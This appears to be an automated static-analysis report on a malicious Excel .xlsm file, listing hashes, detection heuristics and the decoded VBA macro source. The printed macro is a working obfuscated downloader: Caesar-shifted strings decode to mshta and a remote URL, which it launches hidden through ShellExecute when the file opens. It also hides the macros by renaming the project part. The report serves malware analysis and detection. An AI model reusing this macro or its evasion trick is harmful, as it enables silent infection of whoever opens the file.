Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 4619c8f254c39663…

MALICIOUS

Office (OOXML) / .XLSM

67.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-06-22
MD5: e4bd5f0a3306995e3050e6c177617260 SHA-1: c63f481eb6c2c8babb3f6c288f280e2a9ad55371 SHA-256: 4619c8f254c39663f5fbe5eb6a6ae54556e4c0fdf516853f0bd4d4fc52b25faa
102 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/MMAIQMANA.b!!!!!!!!!!!~~~~~~~~~~)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/01/customui In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5216 bytes
SHA-256: d5dd7c752f1ff11162ff08de9ae1248084bedd0c03a277eb083343aa3311c4c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub ascasssssaaaw(ribbon As IRibbonUI)

Dim obj As New Class3

obj.MainCallex



End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private strText           As String   'The stored string
Public lngAllocated       As Long     'Number of allocated characters
Public lngUsed            As Long     'Number of characters in use
Public lngAllocSize       As Long     'Number of characters to allocate every time

Private Sub Class_Initialize()
    'By default, allocate 1000 characters each time.
    'You can "play" with this value in order to get the best efficient string allocation for you.
    
    'If you increase this value, the string Concatenation operation
    'can be a little faster, but it'll waste more memory.
    
    'If you decrease this value, the string Concatenation operation
    'can be a little slower, but it'll waste less memory.
    lngAllocSize = 1000
End Sub

Public Sub Add(strAddString As String)
    Dim lngLen            As Long
    Dim lngToAllocate     As Long
    
    lngLen = Len(strAddString)
    If lngLen > 0 Then
        If lngUsed + lngLen > lngAllocated Then
            'Calculate the characters to allocate.
            lngToAllocate = lngAllocSize * (1 + (lngUsed + lngLen - lngAllocated) \ lngAllocSize)
            'Allocate more space in the string.
            strText = strText & String$(lngToAllocate, " ")
            lngAllocated = lngAllocated + lngToAllocate
        End If
        
        Mid$(strText, lngUsed + 1, lngLen) = strAddString
        lngUsed = lngUsed + lngLen
    End If
End Sub

'Returns the accumulated string
Public Function GetStr() As String
    GetStr = Mid$(strText, 1, lngUsed)
End Function

Public Function DestroyString()

    strText = ""
End Function


Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function GETMainService()

Dim obj As New Class1

obj.DestroyString

obj.Add "rddzc"
obj.Add "://"
obj.Add "bolbkxn"
obj.Add "."
obj.Add "vi"
obj.Add "/"
obj.Add "qtrqtiqnok"
Dim ASDIOUWDOIHQWKDWQ As String
ASDIOUWDOIHQWKDWQ = obj.GetStr


GETMainService = Caesar_Cipher(ASDIOUWDOIHQWKDWQ, -10)


End Function



Public Function GETMainService2()

Dim obj As New Class1

obj.Add "wcr"

obj.Add "dk"

Dim AISDJASJDAKLS As String
AISDJASJDAKLS = obj.GetStr


obj.DestroyString




GETMainService2 = Caesar_Cipher(AISDJASJDAKLS, -10)


End Function

Public Function Caesar_Cipher(sText As String, lngNumber As Long) As String
Dim Tbl, strGlob As String, strTemp As String, i As Long, bytAscii As Byte
  Const MAJ As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Const NB_LETTERS As Byte = 26
      Const DIFFASCIIMAJ As Byte = 65 - NB_LETTERS
        Const DIFFASCIIMIN As Byte = 97 - NB_LETTERS
 
    strTemp = sText
    If lngNumber < NB_LETTERS And lngNumber > NB_LETTERS * -1 Then
        strGlob = String(NB_LETTERS * 4, " ")
        LSet strGlob = MAJ & MAJ & MAJ
        Tbl = Split(StrConv(strGlob, vbUnicode), Chr(0))
        For i = 1 To Len(strTemp)
            If Mid(strTemp, i, 1) Like "[a-zA-Z]" Then
                bytAscii = Asc(Mid(strTemp, i, 1))
                If Mid(strTemp, i, 1) = Tbl(bytAscii - DIFFASCIIMAJ) Then
                    Mid(strTemp, i) = Tbl(bytAscii - DIFFASCIIMAJ + lngNumber)
                Else
                    Mid(strTemp, i) = LCase(Tbl(bytAscii - DIFFASCIIMIN + lngNumber))
                End If
            End If
        Next i
    End If
    Caesar_Cipher = strTemp
End Function




Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub MainCallex()

Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")

Dim obj As New Class2


objMMC1.ShellExecute obj.GETMainService2, obj.GETMainService, "", "", 0


End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/MMAIQMANA.b!!!!!!!!!!!~~~~~~~~~~ 38400 bytes
SHA-256: d9a426b2ab6bd83c947877f4fe98e2f9dc533d411410acb82efe87d2d9d9447b

Open this report in the interactive analyzer, or submit your own file for analysis.